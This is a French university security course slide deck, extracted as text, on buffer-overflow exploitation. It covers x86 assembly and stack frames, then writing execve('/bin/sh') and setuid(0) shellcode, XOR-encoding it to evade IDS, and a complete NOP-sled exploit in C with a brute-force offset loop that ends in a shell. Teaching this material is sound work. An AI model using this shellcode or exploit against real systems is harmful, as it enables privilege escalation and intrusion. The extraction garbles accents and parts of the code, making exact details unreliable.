Vous êtes sur la page 1sur 65

Scurit des Syst`mes dExploitation : cours 2 e e e

Frdric Gava e e
Master ISIDIS, Universit de Paris-Est Crteil e e
Cours Scurit du M2 ISIDIS e e

Plan

Programmation bas niveau Principe du buer-overow Fabriquer un shellcode Faire lexploit

Plan

Programmation bas niveau Principe du buer-overow Fabriquer un shellcode Faire lexploit

Plan

Programmation bas niveau Principe du buer-overow Fabriquer un shellcode Faire lexploit

Plan

Programmation bas niveau Principe du buer-overow Fabriquer un shellcode Faire lexploit

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Droulement du cours e

Programmation bas niveau Principe du buer-overow Fabriquer un shellcode Faire lexploit

ISIDIS : cours

3 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Gnralits (1) e e e

Lanalyse de chier binaire est une connaissance importante pour toute personne souhaitant accroitre ses connaissances en securite informatique car : elle permet de connaitre comment fonctionne un programme de lexterieur sans en avoir les sources. un attaquant laisse des traces, souvent dans les binaires

ISIDIS : cours

4 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Gnralits (2) e e e
Plusieurs types danalyses : lanalyse statique (gdb, asm2C, code source) et dynamique (sniers reseaux, tracers, VM) black-box : Cette technique permet detudier un programme sans connaitre sont fonctionnement interne, juste en regardant comment il reagit et quels sont les resultats des dierentes entrees et sorties. post-mortem : On regarde simplement les resultats de lexecution du programme, comme les dierents logs, les changements dans les chiers, dans la date dacces des chiers, les donnees que lon peut retrouver dans la memoire... Programmation bas niveau assembleur

ISIDIS : cours

5 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les excutables (1) e


Les excutables sur un syst`me GNU/Linux sont au format ELF e e (Executable and Linking Format). Ce format est dcoup en e e plusieurs parties : Un header qui contient loset des deux parties suivantes et des informations intressantes pour le syst`me sur le e e programme. Un program header table qui contient la liste des segments du chier excutable. e Un section header table qui contient la liste des sections du chier excutable. e Les donnes rfrences par les lments prcdents. e ee e ee e e

ISIDIS : cours

6 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les excutables (1) e

ISIDIS : cours

7 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les excutables (2) e

Nous avons : Une section peut contenir du code excutable, des donnes, e e des donnes de liaison, des donnes de dbugging, des tables e e e de symboles, des informations de relocation, des commentaires, etc. Les segments, quant ` eux, sont un groupe de sections a apparentes. Par exemple, le segment de texte regroupe le e code excutable, le segment de donnes encapsule les donnes e e e du programme, et le segment dynamic regroupe les informations ncessaires au chargement. e

ISIDIS : cours

8 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les excutables (2) e

ISIDIS : cours

9 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Chargement

Lors du chargement, chaque segment est charg et interprt : le e ee syst`me dexploitation recopie les segments du chier dans la e mmoire virtuelle, ` partir des informations donnes dans len-tte e a e e du programme. Lespace virtuel : Lespace adressable utilisateur pour le premier est situ dans e lintervalle 0x00000000 : 0xBFFFFFFF lespace adressable pour le noyau est situ dans lintervalle e 0xC0000000 : 0xFFFFFFFF Les excutables au format ELF sont chargs ` partir de ladresse e e a virtuelle 0x08048000 appele adresse de base. e

ISIDIS : cours

10 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Organisation de lespace utilisateur (1)

On trouve (mais pas que) les sections : .text qui contient le code du programme. .data qui contient les donnes globales initialises. e e .bss qui contient les donnes globales non initialises. e e .stack qui est la pile du programme (construite de bas en haut et donc des adresses les plus hautes aux plus petites)

ISIDIS : cours

11 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Organisation de lespace utilisateur (1)

ISIDIS : cours

12 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Organisation de lespace utilisateur (2)

char a; // ==> .bss char b[] = b; // ==> .data int main() { char c; // ==> .stack static char d; // ==> .bss static char e[] = e; // ==> .data char var6; // ==> .stack var6 = malloc(512); // ==> .heap return 0; }

ISIDIS : cours

13 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Organisation de lespace utilisateur (3)

heap2$ size -A -x /bin/ls section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x258 0x8048128 .dynsym 0x510 0x8048380 .dynstr 0x36b 0x8048890 ... On peut aussi faire readelf -e ou objdump -h

ISIDIS : cours

14 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les registres (1)

Les registres a but general : eax, ebx ,ecx ,edx, edi, esi. Les registres speciaux : ebp, esp, eip, eags. Certains de ces derniers registres peuvent tre utilises comme des e general purpose register mais il sont plus rapides pour certaines oprations cest pour cela quon les nomme special purpose e register. De meme certains registres communs ou general purpose register peuvent tre dans certains cas utiliss comme e e registres spciaux car certaines instructions en sont dpendantes, e e cest a dire que linstruction ncessite la prsence de ces variables e e dans certains registres.

ISIDIS : cours

15 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les registres (2)

Exemple :
-------------------------------%eax--------------------------______________________________________________________________ | | | | | | | | %ah | %al | | | | | | | | | | | |_______________|_______________|______________|_____________| --------------%ax------------

%eax est un dword soit 4 bytes, %ax est le least signicant half de eax (la partie basse de eax), il est utilis pour traiter deux bytes. e %al est le LSB (least signicant Byte) de %ax il est utilise pour traiter un byte. %ah est le MSB (most signicant Byte) de %ax il permet de modier la partie haute de %ax.

ISIDIS : cours

16 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les registres (3)

Les principaux : %eip (instruction pointer) : pointeur vers la prochaine instruction ` excuter. a e %ebp (base pointer) : pointeur de base. Son rle est de placer o un rep`re permettant daccder facilement aux arguments de e e la fonction et/ou aux variables locales. %esp (stack pointer) : pointeur vers le prochain emplacement libre de la pile.

ISIDIS : cours

17 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les instructions (1)


Liste basique dinstructions utiles a la comprhension dun e programme en assembleur est courte. Dplacement dans la mmoire : e e
mov : Permet de dplacer le contenu dun registre dans un e autre lea : Permet de dplacer la valeur pointee a un emplacement e mmoire donne dans un registre e push : Ajoute une valeur sur la pile et decremente la stack pop : Extrait une valeur de la stack et incrmente la stack e

Instructions arithmetiques :
add, sub, mul, div : Modie la valeur a un registre inc : Incrmentation unitaire dun registre e dec : Decrementation unitaire dun registre

ISIDIS : cours

18 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les instructions (2)

Instructions de contrle : o
cmp : Compare deux registre call : Appelle une fonction int : Demande dinterruption logicielle ret : Retour a la fonction appelante jmp (jump !) je (jump if equal), jne (jump if not equal), jg (jump if greater) (jump if second value is greater) jge (jump if greater or equal), jl (jump if less), jle (jump if less or equal)

Instructions logiques : and, or, xor, not nop : ne fait rien (x90)

ISIDIS : cours

19 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Les instructions (3)

Le typage : comme nous lavons vu prcdemment, un registre e e peut tre dcoupe pour que lon utilise 4, 2 ou 1 Byte. Les e e instructions vues prcdemment peuvent etre suxee pour spcier e e e le nombre de byte a utiliser. Par exemple pour mov : movb (utilise quun seul byte : movb $0xFF, %al), mov ou movw (utilise 2 bytes ou un word (16 Bits) : mov $0xFFFF, %ax), movl (utilise 4 bytes ou un dword (double word, 32 Bits) : mov $0xFFFFFFFF, %eax).

ISIDIS : cours

20 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Acc`s ` la mmoire e a e
Immediate mode (valeur directe precedee dun $) : mov $42, %eax Register addressing mode (contenu dun registre) : mov %ebx, %eax Indirect addresing mode (valeur pointee par registre) : mov (%eax), %ecx Direct addressing mode : mov 0x4242, %ebx (mov $0x15552, %eax mov (%eax), %ebx) Indexes addressing mode (adresse calculee) : le multiplier reprsente en general la taille dune variable et lindex permet e davancer dans le tableau situe a ladresse de base, Address or oset(%base or oset, %index, %multiplier) : movl string start(%ecx,1), %eax Base pointer addresing mode (equivalent a lindirect addressing avec un oset, on sen servira tr`s frquemment e e pour accder a une valeur de la stack) : movl 4(%eax), %ebx e
ISIDIS : cours 21 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Appel de fonction (1)


Chaque fonction va demander le placement dun ensemble dlments sur la pile. Cet ensemble est compos des arguments de ee e la fonction, de certaines informations relatives ` la fonction a appelante (sauvegarde des registres %eip et %ebp), et enn, des variables locales. Un protocole dnis lappel dune fonction. Ex. e pour foo(5,6), on va avoir : push $0x6 ; Ajout du dernier argument push $0x5 ; Ajout du premier argument call 0xadresse <foo> ; Adresse hexadcimale de la fonction e ; ` appeller a add $0x8,%esp ; Retrait des variables de la pile ; (2 mots de 4 bytes)

ISIDIS : cours

22 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Appel de fonction (2)

ISIDIS : cours

23 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Appel de fonction (2)

Linstruction call sauvegarde sur la pile le registre %eip. Une instruction call est donc quivalente ` : e a push %eip jmp 0xadresse <foo>

ISIDIS : cours

24 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Appel de fonction (3)


Une fonction est compose dun prologue (mettre en place le cade e de la fonction) et dun pilogue. Au prologue : sauvegarder sur la e pile le pointeur de base de la fonction appelante, en initialisant son propre pointeur de base, en allouant assez despace sur la pile pour ses variables locales et, ventuellement, en sauvegardant les e registres quelle va utiliser dans le but de sauvegarder les donnes e de la fonction appelante. Ex : int foo(int a, int b) { int c = a; int d = b; return c; } push %ebp mov %esp,%ebp sub $0x18,%esp push %eax ; ; ; ; Sauvegarde du registre %ebp de lappelant Initialisation du %ebp de la fonction Un GCC qui rserve 24 bytes minimum e Sauvegarde du registre de retour
ISIDIS : cours 25 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Appel de fonction (4)


Lpilogue permet de prparer le retour ` la fonction appelante en e e a restaurant les registres sauvs, en dsallouant les variables locales, e e en restaurant le pointeur de base de la procdure appelante et en e chargeant dans le registre %eip ladresse de linstruction de la fonction appelante ` excuter. a e pop %eax; Restauration du registre %eax leave ; Dsallocation des variables locales e ; et restauration de %ebp ret ;retour ` la procdure appelante en changeant %eip a e Remarque : les instructions leave et ret sont quivalentes aux e instructions suivantes : mov %ebp,%esp ; leave pop %ebp ; leave pop %eip ; ret
ISIDIS : cours 26 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Droulement du cours e

Programmation bas niveau Principe du buer-overow Fabriquer un shellcode Faire lexploit

ISIDIS : cours

27 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Gnralits (1) e e e
Le principe de lattaque par buer overow est de faire excuter un e code malveillant ` un programme en crasant dans la pile certaines a e donnes dexcution du programme ` cause dune non vrication e e a e des longueurs de String. Prenons cet exemple :
#include <stdio.h> #include <string.h> void foo(char string); int main(int argc, char argv) { if (argc > 1) foo(argv[1]); return 0;} void foo(char string) { char buer[256]; strcpy(buer, string);}

ISIDIS : cours

28 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Gnralits (2) e e e
foo push %ebp mov %esp,%ebp sub $0x108,%esp ; 0x108 = 264 Dpassons les 264 octets allou jusqu` craser le registre %eip de e e ae la fonction appelate de telle mani`re que, lorsque linstruction ret e sera excute, le programme sera redirig vers notre code e e e malveillant. Mais cest plus facile ` dire qu` faire (impossible a a directement sur des machines modernes). Remarque : en C et comme dans bcp de langage, les string se termine par le caract`re e null /0

ISIDIS : cours

29 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Gnralits (3) e e e

ISIDIS : cours

30 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Plantage (1)

$ ulimit -c unlimited $ ./a.out perl -e print "A"x267 $ Segmentation fault (core dumped) $ gdb -c core ... Core was generated by ./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA. Program terminated with signal 11, Segmentation fault. #0 0x080483de in ?? () Erreur ` linstruction 0x080483de. Regardons le code ASM du main a

ISIDIS : cours

31 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Plantage (2)
$ gdb ./a.out ... disassemble main 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x8,%esp ... 0x080483cf <main+43>: pushl (%eax) 0x080483d1 <main+45>: call 0x80483e0 <foo> 0x080483d6 <main+50>: add $0x10,%esp 0x080483d9 <main+53>: mov $0x0,%eax 0x080483de <main+58>: leave 0x080483df <main+59>: ret

On trouve leave ` 0x080483de. Avec notre dbordement, le registre a e %ebp contient la valeur 0x00414141 (des A en hexa) et donc un saut faire cette adresse est interdit (trop en dessous). Maintenant, nous allons aller encore plus loin en crasant la sauvegarde du e registre %eip avec ./a.out perl -e print Ax272
ISIDIS : cours 32 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Plantage (3)

$ gdb -c core ... Core was generated by ./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () Car on a tent dexcuter linstruction ` ladresse 0x41414141. On e e a peut donc rediriger notre code vers... bah un peut tout si on a la place.

ISIDIS : cours

33 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Plantage (4)

... Core was generated by ./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () Lutilitaire gdb nous indique que le programme a t arrt a cause ee ee` dune erreur de segmentation lorsque linstruction ` ladresse a 0x41414141 a tent dtre excute. Nous avons pu rediriger le e e e e programme vulnrable ` ladresse de notre choix faire excuter e a e ce que nous voulons, un shell car ainsi, les commandes qui y seront lances, le seront avec les privil`ges du programme vulnrable (si e e e SUID root alors shell root, mais pas obligatoire, on peut saugmenter les droit articiellement). Le but du programme dexploit est d injecter ce que lon appele le payload dans le code vulnrable. Le payload est une cha e ne contenant tout ce qui est ncessaire au bon droulement de la e e faille, y compris le shellcode et ladresse de retour.
ISIDIS : cours 34 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Ne fonctionne plus aussi simplement... (1)


Hlas, cette attaque ne fonctionne plus pour plusieurs raisons : e GCC introduit de base des canaries (petit bout de code hexa ` a la suite des buers qui prot`ge les vrai instructions) pour e proteger le code (compiler avec loption -fno-stack-protector) et a des options pour protger au mieux la pile : e -fstack-protector-all la pile nest plus excutable (ubuntu 10) le buer-overow e doit se faire sur le heap (plus dure ` mettre en oeuvre) a les rewall recherchent (pas toujours bien) les codes malveillants dans les chaines de caract`re en hexa (on peut les e bluer) technique tr`s connu et de plus en plus corrige e e les derni`re versions des shells bash et tcsh, quand ils sont e appels, vrient si luid du processus est gal ` son euid et si e e e a ce nest pas le cas, leuid du shell est x ` la valeur de luid ea par mesure de scurit. e e
ISIDIS : cours 35 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Ne fonctionne plus aussi simplement... (2)

Pour augmenter ces privil`ges, On peut faire setuid avant dappeler e le shell. Voici le code dun tel wrapper :
#include <unistd.h> main(){ char name[]={/bin/sh,NULL}; setuid(0);setgid(0); execve(name[0], name, NULL); }

En HEXA, pour les shellcode : "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"

ISIDIS : cours

36 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Droulement du cours e

Programmation bas niveau Principe du buer-overow Fabriquer un shellcode Faire lexploit

ISIDIS : cours

37 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Premier shellcode (1)


Normalement, on les trouve tout fait sur Internet (homongisation e des archis des serveurs). Mais voyons comme faire nous mme : e int main() { printf(Hello World !); } Cela donne : $ gcc -static -o helloworld helloworld.c $ strace ./helloworld ... write(1, "Hello World !", 13Hello World !) ... On peut remplacere le printf par write(1,...,13). Il est parfois ncessaire de compiler le programme avec le ag -static an de e pouvoir dsassembler les appels syst`me... e e
ISIDIS : cours 38 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Premier shellcode (2)


$ more /usr/include/asm/unistd.h | grep write Sinon diter le chier pour voir les includes. e $ more /usr/include/asm-i386/unistd.h | grep write ... #define __NR_write 4 ... EAX va contenir le numro du syscall, soit 4 e EBX va contenir le premier argument de write, 1. ECX va contenir le deuxi`me argument, soit ladresse e de la cha^ne "Hello World !". EDX va contenir la longueur de la cha^ne (3`me argument), 13, ou 0x0d. e Il nous faut ladresse de la chaine Hello
ISIDIS : cours 39 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Premier shellcode (3)


Pour rcuprer ladresse dune chaine, il faut dja la placer en e e e mmoire. Ensuite, il faut russir ` trouver o` elle est. Nous allons e e a u utiliser la technique du pop/call, dcrite par Pr1on dans Phrack. e Elle consiste, ` partir dune adresse X, ` sauter sur une tiquette a a e dadresse Y, en dessous de laquelle gure un call vers linstruction suivant X. Et en dessous de ce call se trouve notre cha ne. Comment se passe la rcupration de ladresse ? En fait, lors du e e Call, ladresse de linstruction suivante va tre empile, comme e e pour tous les call. Comme ladresse suivante ets prcisment e e ladresse de notre cha cest gagn ! Il ne nous restera plus qua ne, e dpiler ladresse dans un registre, en loccurence ECX. Voici un e petit schma illustratif : e
[dbut du shellcode] e jmp chaine suite: pop ecx [suite et fin du shellcode] chaine: call suite [notre chaine]

ISIDIS : cours

40 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Premier shellcode (4)


Ecrivons maintenant le shellcode :
$ cat asm.s main: xorl %eax,%eax //On met ` zro tous les registres, pour viter les probl`mes a e e e xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $0x4,%al //On met al pour eviter les 0 dans les opcodes movb $0x1,%bl jmp chaine ret: popl %ecx movb $0xd,%dl int $0x80 chaine: call ret .string "Hello World !" $ as -o asm.o asm.s $ ld -o asm asm.o

ISIDIS : cours

41 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Premier shellcode (5)


Rcupron le code en hexa e e
$ objdump -d asm Dassemblage de la section .text: e 08048074 : 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 31 c9 xor %ecx,%ecx 804807a: 31 d2 xor %edx,%edx 804807c: b0 04 mov $0x4,%al 804807e: b3 01 mov $0x1,%bl 8048080: eb 05 jmp 8048087 ... 08048087 : 8048087: e8 f6 ff ff ff call 8048082

On recopie pour avoir :


\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05\x59\xb2\x01 \xcd\x80\xe8\xf6\xff\xff\xffHello World !

ISIDIS : cours

42 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Tester le shellcode
Au choix :
int main() { char sh[] = ... asm(jmp %esp); return 0; }

ou
int main() { char sh[] = ... int ret; ( (int ) &ret + 2) = (int) sh; }

Sur la pile, on trouve de bas en haut : ladresse de retour de main, le contenu du registre EBP sauvegard par le prologue de main et e la variable ret. &ret + 2 = &(adresse de retour de main).

ISIDIS : cours

43 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un vrai shellcode (1)

#include <stdio.h> #include <unistd.h> int main() { char param[] = {/bin/sh, NULL}; execve(param[0], param, NULL); //execve est dja un appel syst`me e e return 0; }

avec :
$ more /usr/include/asm/unistd.h | grep execve #define __NR_execve 11

ISIDIS : cours

44 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un vrai shellcode (2)


main: xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx //On doit rcuprer les arguments de execve : e e //ebx = "/bin/sh" //ecx = tab = {"/bin/sh",0} //edx = n3: 0 //De plus, eax = 11, le syscall //empile 0 push %edx

/On doit empiler /bin/sh. Or on est sur la pile et sur une architecture x86. On doit donc empiler 4 octets par 4 octets, on rajoute donc un /. De plus on doit empiler ` lenvers, de la faon a c suivante : dans le sens 4 derniers octets puis 4 premiers octets dans le sens tous les octets sont inverss e On pushe donc en premier hs/n, puis nib// :
push $0x68732f6e push $0x69622f2f ISIDIS : cours 45 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un vrai shellcode (3)

//on rcup`re ladresse de la cha^ne e e mov %esp,%ebx //empile 0 push %edx //empile ladresse de ladresse de la cha^ne (cest ` dire tab) a push %ebx

On a donc une pile qui ressemble ` a

ISIDIS : cours

46 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un vrai shellcode (4)

+------------------------+ | //bin/sh |<-+ +------------------------+ | | edx = 0 | | +------------------------+ | +->| ebx = addr chaine |--+ | +------------------------+ | | 0 | | +------------------------+ +--| ecx = addr addr chaine | +------------------------+

ISIDIS : cours

47 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un vrai shellcode (5)

//on rcup`re ladresse de tab e e mov %esp,%ecx //excute linterruption e mov $11,%al int $0x80

et on fait comme avant... On obtient :


char sh[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

ISIDIS : cours

48 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Shell-code amlior e e

Le pb est que bcp dIDS detectent ce genre de chaines (surtout celles quon peut trouver sur le web). Pour les biaiser, une premi`re e solution est dutiliser des quivalences de code : e
movl $0x0, %eax ==> xorl %eax,%eax movb $0x0,0x7(%esi) ==> xorl %eax,%eax molv $0x0,0xc(%esi) ==> movb %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax ==> movb $0xb,%al movl $0x1, %eax ==> xorl %ebx,%ebx movl $0x0, %ebx ==> movl %ebx,%eax inc %eax

Mais les IDS regarde plus simplement si /bin/sh est prsent ou e non...

ISIDIS : cours

49 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Cryptage
Crer un module de dcryptage qui sera intgr au shellcode. Le e e e e plus simple xor (faire table de vrit) : si deux bits sont de e e valeurs direntes le rsultat sera 1, et si ils ont la meme valeur ce e e sera 0 utilisation dune cls. P. ex. 16 : 45 xor 16=61 et 61 xor e 16 = 45. Encryptons de cette sorte la chaine du shellcode. Code ASM pour le decryptage :
jmp code suite: pop %esi xorl %eax, %eax decr: cmp %al, (%esi) je execute xorl $25, (%esi) add $1, %esi jmp decr code: call suite execute: .string ""

ISIDIS : cours

50 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Droulement du cours e

Programmation bas niveau Principe du buer-overow Fabriquer un shellcode Faire lexploit

ISIDIS : cours

51 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un dni de service sans boucle ! (1) e


Il ny a rien de plus nervant quun serveur qui ne rpond pas ` e e a cause de dni de service. Voyons comment crire un programme C e e sans boucle/rcursivit qui boucle... e e
#include <stdio.h> #include <string.h> void foo(void); int main() {foo();return 0;} void foo(void) {char buer[32];}

Faisons en sorte dcraser la sauvegarde du registre %eip de la e fonction main dans le cadre de la fonction foo. Cette sauvegarde sera crase par ladresse de linstruction call faisant un e e branchement vers la fonction foo dans main. Ainsi, ` la premi`re a e excution du programme : La fonction main fait un branchement e vers la fonction foo ; lorsquil est rempli, le buer crase la e sauvegarde de %eip puis retour ` la fonction main. a
ISIDIS : cours 52 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un dni de service sans boucle ! (2) e

Il sut de dclarer un pointeur ` lentre de notre buer, e a e dincrmenter ce pointeur jusqu` ce quil arrive au premier byte de e a la sauvegarde du registre %eip et de remplacer cette sauvegarde avec ladresse de linstruction call de la fonction appelante.
Dump of assembler code for 0x08048404 <+0>: push 0x08048405 <+1>: mov 0x08048407 <+3>: and 0x0804840a <+6>: call 0x0804840f <+11>: mov 0x08048414 <+16>: mov 0x08048416 <+18>: pop 0x08048417 <+19>: ret function main: %ebp %esp,%ebp $0xfffffff0,%esp 0x8048418 <foo> $0x0,%eax %ebp,%esp %ebp

Ladresse recherche est 0x0804840a (non modi ` la e ea compilation). Modions alors le code

ISIDIS : cours

53 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un dni de service sans boucle ! (3) e

#include <stdio.h> #include <string.h> void foo(void); int main() {foo();return 0;} void foo(void) { / Allocation : 56 bytes (0x38) / char buer[32]; char workPtr = (char)&buer; workPtr += 48; // 8 bytes pour passer %ebp ((long)workPtr) = 0x08048390; // long = 64 bits = 8 bytes }

ISIDIS : cours

54 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Ecriture dun exploit (1)


Lcriture dun exploit peut-tre une chose tr`s dicile (pour les e e e pro) comme une chose tr`s simple. Ici, nous prendrons notre e exemple simple :
include <stdio.h> #include <string.h> void foo(char string); int main(int argc, char argv) { if (argc > 1) foo(argv[1]); return 0;} void foo(char string) { char buer[256]; strcpy(buer, string);}

2 grandes dicults sont rencontres dans lcriture dun exploit : e e e (1) La gnration du payload. (2) la connaissance de ladresse du e e shellcode dans la mmoire. Ces deux probl`mes se rejoignent lors e e du dveloppement de notre exploit. e
ISIDIS : cours 55 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Ecriture dun exploit (2)


Commenons par la gnration du payload. Celui-ci doit se trouver c e e dans un buer de la taille : Taille(payload ) = Taille(Buersur la pile ) + 2 (4 ou 8) + 1 2*4 (ou 8 pour 64 bytes) reprsente la taille de la sauvegarde des e registres %ebp et %eip ` craser, et le dernier byte ajout ` la n, ae ea le caract`re /0 de n de cha Pour notre programme vulnrable, e ne. e la taille du payload sera donc de 264 + 8 + 1 = 273. qui aura la forme suivante :

Si le payload tait uniquement compos du shellcode sans e e instructions nop, il faudrait tre extrmement prcis dans ladresse e e e de retour pour ne pas se retrouver face ` une erreur de a segmentation.
ISIDIS : cours 56 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Ecriture dun exploit (3)

Pour rechercher ladresse de retour, nous allons utiliser une instruction assembleur incluse dans notre exploit en C an de rcuprer la valeur du registre %esp. En eet, grce au mcanisme e e a e de mmoire virtuelle et au format ELF , nous savons que notre e buer vulnrable ne sera pas tr`s loin de ladresse contenue dans e e ce registre. Notre exploit prendra un argument. Cet argument sera un oset ` additionner ` la valeur du registre %esp rcupre an a a e ee de remonter dans la pile du programme vulnrable pour tenter de e retrouver le shellcode.

ISIDIS : cours

57 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Ecriture dun exploit (4)


#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #dene NOP 0x90 long getESP(void); int main(int argc, char argv) { char shellcode[] = ...; char buer[273]; char ptr = (char)&buer; int i; for (i = 0; i < 268 strlen(shellcode); i++, ptr++) ptr = NOP; for (i = 0; i < strlen(shellcode); i++, ptr++) ptr = shellcode[i]; int oset = atoi(argv[1]); long esp = getESP(); long ret = esp + oset; printf(ESP Register : 0x%x\n, esp); printf(Oset : %i\n, oset); : 0x%x\n, ret); printf(Address (long)ptr = ret; ptr += 4; (char)ptr = \0; execl(PATH, vuln, buer, NULL); } long getESP(void) { asm (mov %esp,%eax); }

ISIDIS : cours

58 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Ecriture dun exploit (5)


Un dernier probl`me se pose : lestimation de loset. Voici un e petit programme en bash qui fait un brute-force pour le trouver :
$ A=-1; while [ 1 ]; do A=$((A+1)); ./a.out $A; done ESP Register : 0xbfe031b8 Offset : 0 Address : 0xbfe031b8 Segmentation fault ESP Register : 0xbf90ad18 Offset : 1 Address : 0xbf90ad19 Segmentation fault ESP Register : 0xbfdeb1f8 Offset : 2 Address : 0xbfdeb1fa Segmentation fault ESP Register : 0xbf8e44f8 Offset : 3 Address : 0xbf8e44fb sh-3.1$

Victoire !

ISIDIS : cours

59 / 62

Programmation bas niveau

Principe du buer-overow

Fabriquer un shellcode

Faire lexploit

Un exemple rigolo (1)


Une faille dans le navigateur Mozilla Firefox 2.0.0.16. Cette faille tait connue et dcrite dans la CVE-2008-0016, et aectait aussi e e les logiciels Thunderbird 2.0.0.17 et SeaMonkey 1.1.12. Le probl`me se situait au niveau de limplantation du parseur dURL e qui permetait ` un pirate dexcuter du code arbitraire via un lien a e dont ladresse tait encode en UTF-8, sous e e ConvertUTF8toUTF16 : :write()qui copie la cha via une boucle ne dont le code vrie que la n de lespace allou nest pas atteind. e e
const value type p = start; const value type end = start + N; for ( ; p != end; ) { char c = p++; // ... while ( state ) { c = p++; // bug!

